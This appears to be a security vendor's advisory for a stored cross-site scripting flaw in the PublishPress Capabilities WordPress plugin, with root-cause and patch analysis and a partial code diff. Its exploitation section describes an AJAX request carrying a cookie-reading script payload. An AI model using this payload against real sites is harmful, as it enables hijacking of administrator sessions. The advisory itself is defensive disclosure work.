Published : November 20, 2026

CVE-2026-119157: PublishPress Capabilities: User Role Access Control, Admin Area Permissions <= 2.53.0 Authenticated (Subscriber+) Stored Cross-Site Scripting via 'page_elements' Parameter via ppc_update_profile_features_element_by_ajax PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.53.0
Patched Version 2.54.0
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-119157: This is a stored Cross-Site Scripting (XSS) vulnerability in the PublishPress Capabilities plugin for WordPress, affecting versions up to and including 2.53.0. The flaw resides in the ‘page_elements’ parameter handled by the ppc_update_profile_features_element_by_ajax function, which lacks proper input sanitization and output escaping. An authenticated attacker with subscriber-level access or higher can inject malicious scripts that execute when an administrator views the Profile Features screen. The CVSS score is 6.4 (Medium), and the CWE is 79 (Improper Neutralization of Input During Web Page Generation).

Root Cause: The vulnerability exists in the file capability-manager-enhanced/includes/features/restrict-profile-features.php, specifically in the AJAX handler ppc_update_profile_features_element_by_ajax (around lines 33-45). The handler retrieves the ‘page_elements’ parameter from $_POST and passes it to wp_unslash without sanitization. These elements are stored (likely in user meta or options) and later rendered on the Profile Features admin screen without output escaping. The security check relies on a nonce (wp_verify_nonce with ‘ppc-profile-edit-action’) and a feature flag check (pp_capabilities_feature_enabled(‘profile-features’)), but the nonce is available to any logged-in user, and the feature is enabled by default. The handler does not verify that the current user has the capability to manage profile features (manage_capabilities_profile_features) before processing the request. This allows a subscriber to submit crafted page_elements containing script tags. The patch in version 2.54.0 adds a capability check: it first checks if the current user has manage_capabilities_profile_features. If not, it attempts to validate a tester cookie (PPC_TEST_USER_COOKIE_NAME) to see if the user is impersonating an administrator. Only if the capability check passes does it proceed with nonce and feature checks. Additionally, the patch escapes the output of $original_restrict_styles using wp_json_encode with JSON_HEX flags and changes jQuery .html() to .text(), preventing script execution.

Exploitation: An attacker with a subscriber account sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to the AJAX action hook (likely ‘ppc_update_profile_features_element_by_ajax’). The request must include a valid nonce for the ‘ppc-profile-edit-action’ action, which the attacker can obtain from any page that generates it for the user (e.g., the profile features screen if accessible). The ‘page_elements’ parameter is set to a payload such as a JSON array containing a script tag: [“alert(document.cookie)”]. Alternatively, the payload could be a single string if the parameter accepts it. The handler stores this data. Later, when an administrator opens the Profile Features capture window and saves at least one of the attacker-supplied rows, the malicious script is rendered and executes in the administrator’s browser. This requires the administrator to interact with the injected row, but the attack is stealthy because the administrator sees no indication of malicious data.

Patch Analysis: The patch for CVE-2026-119157 (version 2.54.0) introduces two key changes. First, in restrict-profile-features.php, the AJAX handler now checks if the current user has the ‘manage_capabilities_profile_features’ capability. If not, it checks for a tester cookie (PPC_TEST_USER_COOKIE_NAME) and validates the user ID from that cookie using wp_validate_auth_cookie. The handler proceeds only if the original user or the tester user has the required capability. This prevents subscribers from directly accessing the handler. Second, the patch escapes the output of $original_restrict_styles using wp_json_encode with JSON_HEX_TAG, JSON_HEX_AMP, JSON_HEX_APOS, and JSON_HEX_QUOT flags, and changes the jQuery method from .html() to .text(). This ensures that any stored data is properly encoded and rendered as text, preventing script execution. The combination of capability checks and output escaping addresses the root cause.

Impact: Successful exploitation allows an authenticated attacker with subscriber-level access to inject arbitrary JavaScript into the admin area. When an administrator views the Profile Features screen, the script executes with the administrator’s privileges. This can lead to session hijacking, creation of new administrator accounts, modification of plugin settings, or other actions that compromise the entire WordPress site. The vulnerability requires user interaction (administrator saving a row), but the stealth nature of the attack increases the likelihood of success.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/capability-manager-enhanced/capsman-enhanced.php
+++ b/capability-manager-enhanced/capsman-enhanced.php
@@ -3,13 +3,13 @@
  * Plugin Name: PublishPress Capabilities
  * Plugin URI: https://publishpress.com/capability-manager/
  * Description: PublishPress Capabilities is the access control plugin for WordPress. You can manage all your WordPress user roles, from Administrators to Subscribers.
- * Version: 2.53.0
+ * Version: 2.54.0
  * Author: PublishPress
  * Author URI: https://publishpress.com/
  * Text Domain: capability-manager-enhanced
  * Domain Path: /languages/
  * Requires at least: 5.5
- * Requires PHP: 7.2.5
+ * Requires PHP: 8.2
  * License: GPLv3
  *

@@ -28,13 +28,14 @@

 global $wp_version;

-$min_php_version = '7.2.5';
+$min_php_version = '8.2';
 $min_wp_version  = '5.5';

-$invalid_php_version = version_compare(phpversion(), $min_php_version, '<');
-$invalid_wp_version = version_compare($wp_version, $min_wp_version, '<');
+if (version_compare(PHP_VERSION, $min_php_version, '<')) {
+	return;
+}

-if ($invalid_php_version || $invalid_wp_version) {
+if (version_compare($wp_version, $min_wp_version, '<')) {
 	return;
 }

@@ -68,7 +69,7 @@
 add_action('plugins_loaded', function () {

 	if (!defined('CAPSMAN_VERSION')) {
-		define('CAPSMAN_VERSION', '2.53.0');
+		define('CAPSMAN_VERSION', '2.54.0');
 		define('CAPSMAN_ENH_VERSION', CAPSMAN_VERSION);
 		define('PUBLISHPRESS_CAPS_VERSION', CAPSMAN_VERSION);
 	}
@@ -128,6 +129,7 @@
 	}

 	require_once(dirname(__FILE__) . '/includes/functions.php');
+	require_once __DIR__ . '/includes/mcp-abilities.php';

 	if (defined('WP_CLI') && WP_CLI) {
 		require_once __DIR__ . '/includes/functions-admin.php';
--- a/capability-manager-enhanced/includes/admin-load.php
+++ b/capability-manager-enhanced/includes/admin-load.php
@@ -480,45 +480,8 @@
                 return;
             }

-            $user = get_user_by('ID', $userId);
-            if (empty($user)) {
-                return;
-            }
-
-            $newRoles = array_unique(
-                array_filter(
-                    array_map('sanitize_key', (array) $_POST['pp_roles'])
-                )
-            );
-            $currentRoles = $user->roles;
-
-            if (empty($newRoles) || !is_array($newRoles)) {
-                return;
-            }
-
-            $editableRoles = function_exists('get_editable_roles')
-                ? array_keys(get_editable_roles())
-                : array_keys(apply_filters('editable_roles', wp_roles()->roles));
-
-            // Reject the request if any submitted role is not editable by current user.
-            if (array_diff($newRoles, $editableRoles)) {
-                return;
-            }
-
-            // Remove all roles
-            foreach ($currentRoles as $role) {
-                // Check if it is a bbPress rule. If so, don't remove it.
-                $isBBPressRole = preg_match('/^bbp_/', $role);
-
-                if (!$isBBPressRole) {
-                    $user->remove_role($role);
-                }
-            }
-
-            // Add new roles in order
-            foreach ($newRoles as $role) {
-                $user->add_role($role);
-            }
+            require_once __DIR__ . '/user-role-assignment.php';
+            PublishPressCapabilitiesUserRoleAssignment::update((int) $userId, array_map('sanitize_key', wp_unslash((array) $_POST['pp_roles'])));
         }
     }

@@ -1776,6 +1739,26 @@
                 border-bottom: 0;
             }

+            .ppc-user-permissions-group {
+                border: 1px solid #dcdcde;
+                margin: 12px 0;
+                padding: 12px;
+            }
+
+            .ppc-user-permissions-group h4 {
+                font-size: 14px;
+                margin: 0 0 12px;
+            }
+
+            .ppc-user-permissions-group .ppc-user-permissions-list {
+                list-style: disc;
+                padding-inline-start: 22px;
+            }
+
+            .ppc-user-permissions-group code {
+                overflow-wrap: anywhere;
+            }
+
             .ppc-user-permissions-scope {
                 color: #50575e;
                 display: block;
--- a/capability-manager-enhanced/includes/backup-handler.php
+++ b/capability-manager-enhanced/includes/backup-handler.php
@@ -17,6 +17,42 @@
 		$this->cm = $manager_obj;
 	}

+    /**
+     * Persist a backup through the same lifecycle for admin and non-form callers.
+     *
+     * @param array|null $configuration Reviewed option values keyed by native section identifiers.
+     * @return array Stored section identifiers.
+     * @since 2.60.0
+     */
+    public function createBackup(?array $configuration = null): array
+    {
+        global $wpdb;
+        $prefix = $this->cm->ID;
+        $labels = ['user_roles' => __('Roles and Capabilities', 'capability-manager-enhanced')];
+        $native = ['user_roles' => get_option($wpdb->prefix . 'user_roles')];
+        foreach (pp_capabilities_backup_sections() as $section) {
+            foreach ((array) ($section['options'] ?? []) as $option) {
+                $native[$option] = get_option($option);
+                $labels[$option] = $section['label'];
+            }
+        }
+        $configuration = $configuration ?? $native;
+        if (!get_option($prefix . '_backup_initial') && ($previous = get_option($prefix . '_backup'))) {
+            update_option($prefix . '_backup_initial', $previous, false);
+            if ($date = get_option($prefix . '_backup_datestamp')) {
+                update_option($prefix . '_backup_initial_datestamp', $date, false);
+            }
+        }
+        $active = [];
+        foreach ($configuration as $key => $value) {
+            update_option($key === 'user_roles' ? $prefix . '_backup' : $key . '_backup', $value, false);
+            $active[] = $labels[$key] ?? $key;
+        }
+        update_option($prefix . '_last_backup', implode(', ', array_unique($active)));
+        update_option($prefix . '_backup_datestamp', current_time('timestamp'), false);
+        return array_keys($configuration);
+    }
+
 	/**
 	 * Processes backups and restores.
 	 *
@@ -29,48 +65,8 @@
         if (isset($_POST['save_backup'])) {
 			check_admin_referer('pp-capabilities-backup');

-			$wp_roles = $wpdb->prefix . 'user_roles';
-			$cm_roles = $this->cm->ID . '_backup';
-			$cm_roles_initial = $this->cm->ID . '_backup_initial';
-
-            $backup_sections = pp_capabilities_backup_sections();
-
-			if ( ! get_option( $cm_roles_initial ) ) {
-				if ( $current_backup = get_option( $cm_roles ) ) {
-					update_option( $cm_roles_initial, $current_backup, false );
-
-					if ( $initial_datestamp = get_option( $this->cm->ID . '_backup_datestamp' ) ) {
-						update_option($this->cm->ID . '_backup_initial_datestamp', $initial_datestamp, false );
-					}
-				}
-			}
-
-            $active_backup = ['Roles and Capabilities'];
-
-            //role backup
-			$roles = get_option($wp_roles);
-			update_option($cm_roles, $roles, false);
-
-            //other backup
-            foreach($backup_sections as $backup_section){
-                $section_options = $backup_section['options'];
-                if(is_array($section_options) && !empty($section_options)){
-                    foreach($section_options as $section_option){
-                        $active_backup[] = $backup_section['label'];
-                        $current_option = get_option($section_option);
-                        update_option($section_option.'_backup', $current_option, false);
-                    }
-                }
-            }
-
-            $active_backup = array_unique($active_backup);
-
-            //update last backup
-            update_option($this->cm->ID . '_last_backup', implode(', ', $active_backup));
-
-            //backup datestamp and response
-			update_option($this->cm->ID . '_backup_datestamp', current_time( 'timestamp' ), false );
-			ak_admin_notify(__('New backup saved.', 'capability-manager-enhanced'));
+            $this->createBackup();
+            ak_admin_notify(__('New backup saved.', 'capability-manager-enhanced'));

         }

--- a/capability-manager-enhanced/includes/cap-helper.php
+++ b/capability-manager-enhanced/includes/cap-helper.php
@@ -278,7 +278,7 @@

 			$tx_caps = (array) $wp_taxonomies[$taxonomy]->cap;

-			if ( ( ! in_array($taxonomy, $use_taxonomies) || empty( $wp_taxonomies[$taxonomy]->public ) ) && ( 'nav_menu' != $taxonomy ) )
+			if ( ( ! in_array($taxonomy, $use_taxonomies) || ( empty( $wp_taxonomies[$taxonomy]->public ) && empty( $wp_taxonomies[$taxonomy]->show_ui ) ) ) && ( 'nav_menu' != $taxonomy ) )
 				continue;

 			if ( ! in_array( $taxonomy, $core_taxonomies ) ) {
--- a/capability-manager-enhanced/includes/features/admin-menus/admin-menus-filters.php
+++ b/capability-manager-enhanced/includes/features/admin-menus/admin-menus-filters.php
@@ -41,6 +41,8 @@
             add_action('admin_menu', [$this, 'adminMenuRestriction'], PHP_INT_MAX - 98);
             // Clear stored menu when plugins are deactivated to remove old plugin menu
             add_action('deactivate_plugin', [$this, 'clearStoredData']);
+            add_action('activated_plugin', [$this, 'clearStoredData']);
+            add_action('upgrader_process_complete', [$this, 'clearStoredDataAfterPluginUpgrade'], 10, 2);
             // Clear stored menu snapshots when feature toggles can add or remove submenu items.
             add_action('pp_capabilities_dashboard_feature_updated', [$this, 'clearStoredDataForMenuFeature'], 10, 2);
         }
@@ -160,23 +162,7 @@
                 $stored_menu = $admin_global_menu;
             }

-            if (is_array($admin_global_submenu)
-                && count($admin_global_submenu) > count($submenu)
-            ) {
-                // for submenu, we need to remove any group not in menu before count for fair count
-                $menu_index = array_column($stored_menu, 2);
-
-                $filtered_submenu = array_intersect_key($submenu,
-                    array_flip($menu_index)
-                );
-
-                $filtered_admin_global_submenu = array_intersect_key($admin_global_submenu,
-                    array_flip($menu_index)
-                );
-                if (count($filtered_admin_global_submenu) > count($filtered_submenu)) {
-                    $stored_submenu = $admin_global_submenu;
-                }
-            }
+            $stored_submenu = self::mergeSubmenuSnapshots((array) $admin_global_submenu, $submenu);

             if ( get_option('ppc_admin_menus_menu') !== $stored_menu) {//save menu
                 update_option('ppc_admin_menus_menu', $stored_menu);
@@ -198,6 +184,92 @@
         delete_option('ppc_admin_menus_submenu');
     }

+    /**
+     * Refresh discovery after plugin installs and updates without resetting user settings.
+     *
+     * @param object $upgrader WordPress upgrader instance.
+     * @param array $options Upgrade operation details.
+     * @since 2.54.0
+     */
+    public function clearStoredDataAfterPluginUpgrade($upgrader, $options) {
+        if (isset($options['type'], $options['action']) && $options['type'] === 'plugin'
+            && in_array($options['action'], ['install', 'update'], true)
+        ) {
+            $this->clearStoredData();
+        }
+    }
+
+    /**
+     * Merge discovery snapshots by submenu slug, retaining cached restricted items.
+     * Current entries replace stale metadata; numeric offsets are not item identities.
+     *
+     * @param array $cached Previously captured submenu groups.
+     * @param array $current Submenu groups registered in the current request.
+     * @return array
+     * @since 2.54.0
+     */
+    public static function mergeSubmenuSnapshots($cached, $current) {
+        $cached = self::normalizeSubmenuSnapshot($cached);
+        $current = self::normalizeSubmenuSnapshot($current);
+        foreach ($current as $parent => $items) {
+            if (!isset($cached[$parent]) || !is_array($cached[$parent])) {
+                $cached[$parent] = $items;
+                continue;
+            }
+            $positions = [];
+            foreach ($cached[$parent] as $position => $item) {
+                if (isset($item[2])) {
+                    $positions[$item[2]] = $position;
+                }
+            }
+            foreach ($items as $position => $item) {
+                if (!isset($item[2])) {
+                    continue;
+                }
+                if (isset($positions[$item[2]])) {
+                    $cached[$parent][$positions[$item[2]]] = $item;
+                } elseif (!isset($cached[$parent][$position])) {
+                    $cached[$parent][$position] = $item;
+                    $positions[$item[2]] = $position;
+                } else {
+                    $cached[$parent][] = $item;
+                    end($cached[$parent]);
+                    $positions[$item[2]] = key($cached[$parent]);
+                }
+            }
+            // Follow current registration order without changing cached legacy offsets.
+            $ordered = [];
+            foreach ($items as $item) {
+                $position = $positions[$item[2]];
+                $ordered[$position] = $cached[$parent][$position];
+            }
+            $cached[$parent] = $ordered + $cached[$parent];
+        }
+        return $cached;
+    }
+
+    /**
+     * Missing legacy options can be false; only submenu arrays are renderable.
+     *
+     * @param array $snapshot Submenu groups from discovery or storage.
+     * @return array
+     * @since 2.54.0
+     */
+    private static function normalizeSubmenuSnapshot($snapshot) {
+        foreach ($snapshot as $parent => $items) {
+            if (!is_array($items)) {
+                unset($snapshot[$parent]);
+                continue;
+            }
+            foreach ($items as $position => $item) {
+                if (!is_array($item) || !isset($item[2])) {
+                    unset($snapshot[$parent][$position]);
+                }
+            }
+        }
+        return $snapshot;
+    }
+
     public function clearStoredDataForMenuFeature($feature, $status) {
         $this->clearStoredData();
     }
@@ -376,6 +448,14 @@
                 if (isset($menu_order[$custom_and_new_menu_key]) && is_array($menu_order[$custom_and_new_menu_key])) {
                     $custom_submenu_order = $menu_order[$custom_and_new_menu_key];

+                    if (self::hasNewSubmenus($default_submenu, $menu_order)) {
+                        $registered_order = array_column($default_submenu, 2);
+                        $custom_submenu_order = array_merge(
+                            $registered_order,
+                            array_diff($custom_submenu_order, $registered_order)
+                        );
+                    }
+
                     // Add custom submenu items first, in order
                     $ordered_submenu = [];
                     foreach ($custom_submenu_order as $subcustom_and_new_menu_key) {
@@ -404,6 +484,32 @@
     }

     /**
+     * Detect new children without treating deliberately moved submenus as new.
+     * The saved order remains authoritative while all registered children are known.
+     *
+     * @param array $submenu Currently registered children for one parent.
+     * @param array $menu_order Saved submenu orders across parents.
+     * @return bool
+     * @since 2.54.0
+     */
+    private static function hasNewSubmenus($submenu, $menu_order) {
+        $known = [];
+        foreach ($menu_order as $children) {
+            if (is_array($children)) {
+                foreach ($children as $slug) {
+                    $known[htmlspecialchars_decode((string) $slug, ENT_QUOTES)] = true;
+                }
+            }
+        }
+        foreach ($submenu as $item) {
+            if (isset($item[2]) && !isset($known[htmlspecialchars_decode($item[2], ENT_QUOTES)])) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
      * Append HTML content (like counters) from old title to new title.
      */
     private static function appendHtmlToTitle($old_title, $new_title) {
--- a/capability-manager-enhanced/includes/features/admin-menus/admin-menus.php
+++ b/capability-manager-enhanced/includes/features/admin-menus/admin-menus.php
@@ -22,8 +22,10 @@

 $can_add_menu = (bool) apply_filters('pp_capabilities_admin_menus_new_menu_enabled', false);

-$ppc_global_menu     = (array)get_option('ppc_admin_menus_menu');
-$ppc_global_submenu  = (array)get_option('ppc_admin_menus_submenu');
+$ppc_global_menu     = get_option('ppc_admin_menus_menu', []);
+$ppc_global_menu     = is_array($ppc_global_menu) ? $ppc_global_menu : [];
+$ppc_global_submenu  = get_option('ppc_admin_menus_submenu', []);
+$ppc_global_submenu  = is_array($ppc_global_submenu) ? $ppc_global_submenu : [];
 $custom_menus        = (array)get_option('ppc_admin_menus_custom_menus', []);
 $all_custom_menus    = !empty($custom_menus['menus']) ? $custom_menus['menus'] : [];
 $all_custom_submenus = !empty($custom_menus['submenus']) ? $custom_menus['submenus'] : [];
@@ -40,22 +42,15 @@
     $ppc_global_menu   = $admin_global_menu;
 }

-if (is_array($admin_global_submenu) && count($admin_global_submenu) > count($submenu)) {
-    // for submenu, we need to remove any group not in menu before count for fair count
-    $menu_index = array_column($menu, 2);
-
-    $filtered_submenu = array_intersect_key($submenu,
-        array_flip($menu_index)
-    );
-
-    $filtered_admin_global_submenu = array_intersect_key($admin_global_submenu,
-        array_flip($menu_index)
-    );
-    if (count($filtered_admin_global_submenu) > count($filtered_submenu)) {
-        $submenu   = $admin_global_submenu;
-        $ppc_global_submenu   = $admin_global_submenu;
-    }
-}
+// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Restore complete submenu discovery for the restrictions editor.
+$submenu = PublishPressCapabilitiesAdmin_Menus_Filters::mergeSubmenuSnapshots(
+    (array) $admin_global_submenu,
+    (array) $submenu
+);
+$ppc_global_submenu = PublishPressCapabilitiesAdmin_Menus_Filters::mergeSubmenuSnapshots(
+    $ppc_global_submenu,
+    $submenu
+);

 // grouping original menu by their slug to get original position key
 $grouped_menu       = [];
@@ -131,7 +126,7 @@
                                     <img class="loading" src="<?php echo esc_url($capsman->mod_url); ?>/images/wpspin_light.gif" style="display: none">

                                     <input type="submit" name="admin-menu-submit"
-                                        value="<?php esc_attr_e('Save Changes') ?>"
+                                        value="<?php echo esc_attr(sprintf(__('Save for %s', 'capability-manager-enhanced'), $role_caption)); ?>"
                                         class="button-primary ppc-admin-menu-submit" style="float:right" />

                                     <input type="submit" name="admin-menu-all-submit"
@@ -731,7 +726,7 @@
                                     </div>
                                 </div>
                                 <input type="submit" name="admin-menu-submit"
-                                    value="<?php esc_attr_e('Save Changes') ?>"
+                                    value="<?php echo esc_attr(sprintf(__('Save for %s', 'capability-manager-enhanced'), $role_caption)); ?>"
                                     class="button-primary ppc-admin-menu-submit" style="float: right; margin-top: 10px;"/>
                                 <input type="submit" name="admin-menu-all-submit"
                                     value="<?php esc_attr_e('Save for All Roles', 'capability-manager-enhanced') ?>"
@@ -769,14 +764,14 @@
             <?php
             $banner_title  = __('Reset Admin Menus', 'capability-manager-enhanced');
             $banner_messages = ['<p>'];
-            $banner_messages[] = esc_html__('You can reset admin menu order and name to their original position and names. You can also reset menu cache to fix issue of missing menu.', 'capability-manager-enhanced');
+            $banner_messages[] = esc_html__('You can reset the admin menu order and name to their original position and names. You can also reset the menu cache to fix any missing menu issues.', 'capability-manager-enhanced');
             $banner_messages[] = '</p><p>';
             $banner_messages[] = '<input type="checkbox" class="reset-admin-menu-order"> '
                 . esc_html__('Reset Menu Order', 'capability-manager-enhanced') . ' <br />';
             $banner_messages[] = '<input type="checkbox" class="reset-admin-menu-cache"> '
                 . esc_html__('Reset Cached Menu', 'capability-manager-enhanced') . ' <br />';
             $banner_messages[] = '<input type="checkbox" class="reset-admin-menu-names"> '
-                . esc_html__('Reset Menu Names', 'capability-manager-enhanced') . ' <br />';
+                . esc_html__('Reset Menu Names and Icons', 'capability-manager-enhanced') . ' <br />';
             $banner_messages[] = '</p>';
             $banner_messages[] = '<p><a style="color: red; border-color: red;" type="button" class="button ppc-reset-admin-menu-options">' . esc_html__('Reset Selected Option', 'capability-manager-enhanced') . '</a><div class="clear"></div></p>';
             pp_capabilities_sidebox_banner($banner_title, $banner_messages);
--- a/capability-manager-enhanced/includes/features/admin-styles/admin-styles-api.php
+++ b/capability-manager-enhanced/includes/features/admin-styles/admin-styles-api.php
@@ -0,0 +1,93 @@
+<?php
+
+/**
+ * Programmatic entry points reusing the Admin Styles sanitizers and CSS generator.
+ *
+ * @author PublishPress
+ * @copyright Copyright (c) 2026, PublishPress
+ * @license GPL v2 or later
+ * @since 2.54.0
+ */
+
+declare(strict_types=1);
+
+namespace PublishPressCapabilities;
+
+defined('ABSPATH') || exit;
+
+trait AdminStylesApi
+{
+    /** @since 2.54.0 */
+    public function saveRoleSettings(string $role, array $settings)
+    {
+        if (!current_user_can('manage_capabilities_admin_styles') || !pp_capabilities_is_editable_role($role, ['force_refresh' => true])) {
+            return new WP_Error('publishpress_style_forbidden', __('You cannot change styles for this role.', 'capability-manager-enhanced'));
+        }
+        $all = $this->getRoleSettings();
+        $settings = array_merge($all[$role] ?? [], $settings);
+        $settings['custom_scheme_version'] = time();
+        $all[$role] = $this->sanitize_settings($settings);
+        update_option('pp_capabilities_admin_styles_roles', $all, false);
+        return ['feature' => 'admin-styles', 'role' => $role, 'settings' => (object) $all[$role]];
+    }
+
+    /** @since 2.54.0 */
+    public function saveStyle(array $input)
+    {
+        if (!current_user_can('manage_capabilities_admin_styles')) {
+            return new WP_Error('publishpress_style_forbidden', __('You cannot change admin styles.', 'capability-manager-enhanced'));
+        }
+        $styles = $this->get_custom_styles();
+        $slug = $input['slug'] ?? $this->generate_unique_slug($input['name'], $styles);
+        if (strpos($slug, 'ppc-custom-style-') !== 0) {
+            return new WP_Error('publishpress_style_slug', __('Custom style slugs must start with ppc-custom-style-.', 'capability-manager-enhanced'));
+        }
+        if (!defined('PUBLISHPRESS_CAPS_PRO_VERSION') && count($styles) > 0 && !isset($styles[$slug])) {
+            return new WP_Error('publishpress_style_limit', __('The Free edition supports one custom admin style.', 'capability-manager-enhanced'));
+        }
+        $style = $styles[$slug] ?? [];
+        $style = array_merge($style, $input['settings']);
+        $name = sanitize_text_field($input['name']);
+        if ($name === '') {
+            return new WP_Error('publishpress_style_name', __('A style name is required.', 'capability-manager-enhanced'));
+        }
+        foreach (['custom_scheme_base', 'custom_scheme_text', 'custom_scheme_highlight', 'custom_scheme_notification', 'custom_scheme_background'] as $key) {
+            $style[$key] = sanitize_hex_color($style[$key] ?? '');
+        }
+        $style['name'] = $name;
+        $style['element_colors'] = $this->sanitize_element_colors($style['element_colors'] ?? []);
+        $style['advanced_rules'] = $this->sanitize_advanced_rules($style['advanced_rules'] ?? []);
+        $style['custom_scheme_version'] = time();
+        $style['template_color_version'] = 1;
+        $style['created'] = $style['created'] ?? current_time('mysql');
+        $style = $this->generate_custom_style_css_file($slug, $style);
+        $styles[$slug] = $style;
+        $this->save_custom_styles($styles);
+        return ['slug' => $slug, 'style' => (object) $style];
+    }
+
+    /** @since 2.54.0 */
+    public function deleteStyle(array $input)
+    {
+        if (!current_user_can('manage_capabilities_admin_styles')) {
+            return new WP_Error('publishpress_style_forbidden', __('You cannot delete admin styles.', 'capability-manager-enhanced'));
+        }
+        $styles = $this->get_custom_styles();
+        $slug = $input['slug'];
+        if (!isset($styles[$slug])) {
+            return new WP_Error('publishpress_style_missing', __('Custom style not found.', 'capability-manager-enhanced'));
+        }
+        $this->delete_custom_style_css_files($slug, $styles[$slug]);
+        unset($styles[$slug]);
+        $this->save_custom_styles($styles);
+        $roles = $this->getRoleSettings();
+        foreach ($roles as &$settings) {
+            if (($settings['admin_color_scheme'] ?? '') === $slug) {
+                $settings['admin_color_scheme'] = 'fresh';
+            }
+        }
+        unset($settings);
+        update_option('pp_capabilities_admin_styles_roles', $roles, false);
+        return ['deleted' => $slug];
+    }
+}
--- a/capability-manager-enhanced/includes/features/admin-styles/admin-styles.php
+++ b/capability-manager-enhanced/includes/features/admin-styles/admin-styles.php
@@ -7,8 +7,12 @@

 defined('ABSPATH') || exit;

+require_once __DIR__ . '/admin-styles-api.php';
+
 class PP_Capabilities_Admin_Styles
 {
+    use AdminStylesApi;
+
     private static $instance = null;

     public $settings = [];
--- a/capability-manager-enhanced/includes/features/frontend-features/frontend-features-restrict.php
+++ b/capability-manager-enhanced/includes/features/frontend-features/frontend-features-restrict.php
@@ -276,6 +276,15 @@
             if (in_array($element_id, $frontend_elements)) {
                 return true;
             }
+
+            //translated posts use the element choice of their default-language original
+            $original_post_id = pp_capabilities_default_language_object_id($post->ID, $post->post_type);
+            if ($original_post_id !== (int) $post->ID) {
+                $original_elements = (array) get_post_meta($original_post_id, '_ppc_frontendelements', true);
+                if (in_array($element_id, $original_elements)) {
+                    return true;
+                }
+            }
         }

         return false;
--- a/capability-manager-enhanced/includes/features/restrict-profile-features.php
+++ b/capability-manager-enhanced/includes/features/restrict-profile-features.php
@@ -33,7 +33,15 @@
         $security       = isset($_POST['security']) ? sanitize_key($_POST['security']) : false;
         $page_elements  = isset($_POST['page_elements']) ? wp_unslash($_POST['page_elements']) : [];

-        if (!$security || !wp_verify_nonce($security, 'ppc-profile-edit-action') || !pp_capabilities_feature_enabled('profile-features')) {
+        // Capture runs as the tested user; verify the original manager's session.
+        $can_capture = current_user_can('manage_capabilities_profile_features');
+        if (!$can_capture) {
+            $tester_cookie = defined('PPC_TEST_USER_COOKIE_NAME') ? PPC_TEST_USER_COOKIE_NAME : 'ppc_test_user_tester_' . COOKIEHASH;
+            $tester_id = isset($_COOKIE[$tester_cookie]) && is_string($_COOKIE[$tester_cookie])
+                ? wp_validate_auth_cookie(wp_unslash($_COOKIE[$tester_cookie]), 'logged_in') : false;
+            $can_capture = $tester_id && user_can($tester_id, 'manage_capabilities_profile_features');
+        }
+        if (!$can_capture || !$security || !wp_verify_nonce($security, 'ppc-profile-edit-action') || !pp_capabilities_feature_enabled('profile-features')) {
             $response['redirect'] = $redirect_url;
         } else {
             // Check if the current role is enabled for profile features editing
@@ -229,9 +237,10 @@
                 //add inline styles
                 ppc_add_inline_style($inline_styles, 'ppc-profile-dummy-css-handle');
                 //add inline script to update inline css
+                $original_restrict_styles = wp_json_encode($original_restrict_styles, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
                 $inline_script = "
                 jQuery(document).ready( function($) {
-                    $('#ppc-profile-dummy-css-handle-inline-css').html('{$original_restrict_styles}');
+                    $('#ppc-profile-dummy-css-handle-inline-css').text({$original_restrict_styles});
                 });";
                 ppc_add_inline_script($inline_script, 'ppc-profile-dummy-css-handle');
             }
--- a/capability-manager-enhanced/includes/functions.php
+++ b/capability-manager-enhanced/includes/functions.php
@@ -1566,7 +1566,9 @@
                     $taxonomy_id = get_queried_object()->term_id;
                     $taxonnomy_type = get_queried_object()->taxonomy;
                     $option_object = $taxonomy_id . '_' . $taxonnomy_type;
-                    if (in_array($option_object, $disabled_nav_menu_array)) {
+                    //translated terms are restricted through their default-language original
+                    $original_option_object = pp_capabilities_default_language_object_id($taxonomy_id, $taxonnomy_type) . '_' . $taxonnomy_type;
+                    if (in_array($option_object, $disabled_nav_menu_array) || in_array($original_option_object, $disabled_nav_menu_array)) {
                         $ppc_nav_menu_restricted = true;
                         pp_capabilities_nav_menu_access_denied();
                     }
@@ -1574,10 +1576,14 @@

                 //post, page, cpt check
                 if (is_singular()) {
-                    $post_type = get_post_type();
-                    $post_id = get_the_ID();
+                    //get_the_ID() is empty while the main query is parsed, so fall back to the queried object
+                    $post_id = get_the_ID() ? get_the_ID() : get_queried_object_id();
+                    $post_type = get_post_type($post_id);
                     $option_object = $post_id . '_' . $post_type;
-                    if (in_array($option_object, $disabled_nav_menu_array)) {
+                    //translated posts are restricted through their default-language original
+                    $original_post_id = pp_capabilities_default_language_object_id($post_id, $post_type);
+                    $original_option_object = $original_post_id . '_' . $post_type;
+                    if (in_array($option_object, $disabled_nav_menu_array) || in_array($original_option_object, $disabled_nav_menu_array)) {
                         $ppc_nav_menu_restricted = true;
                         pp_capabilities_nav_menu_access_denied();
                     }
@@ -1587,7 +1593,23 @@

                 if (!empty($fse_blocked_nav_links)) {
                     //restrict access to url
-                    if (in_array(pp_capabilities_current_url(), $fse_blocked_nav_links)) {
+                    $current_urls = [pp_capabilities_current_url()];
+                    //translated posts are restricted through their default-language original's URL
+                    if (is_singular()) {
+                        $current_post_id = get_the_ID() ? (int) get_the_ID() : (int) get_queried_object_id();
+                        $original_post_id = pp_capabilities_default_language_object_id($current_post_id, get_post_type($current_post_id));
+                        if ($original_post_id && $original_post_id !== $current_post_id) {
+                            $original_url = get_permalink($original_post_id);
+                            $default_language = apply_filters('wpml_default_language', null);
+                            if ($original_url && $default_language) {
+                                $original_url = apply_filters('wpml_permalink', $original_url, $default_language);
+                            }
+                            if ($original_url) {
+                                $current_urls[] = $original_url;
+                            }
+                        }
+                    }
+                    if (array_intersect($current_urls, $fse_blocked_nav_links)) {
                         $ppc_nav_menu_restricted = true;
                         pp_capabilities_nav_menu_access_denied();
                     }
@@ -1648,6 +1670,40 @@
     }
 }

+
+/**
+ * Get the ID of an object's original in the site's default language.
+ *
+ * Restrictions are saved for the default-language object, so translations
+ * (e.g. WPML) are mapped back to it. Returns the same ID when no
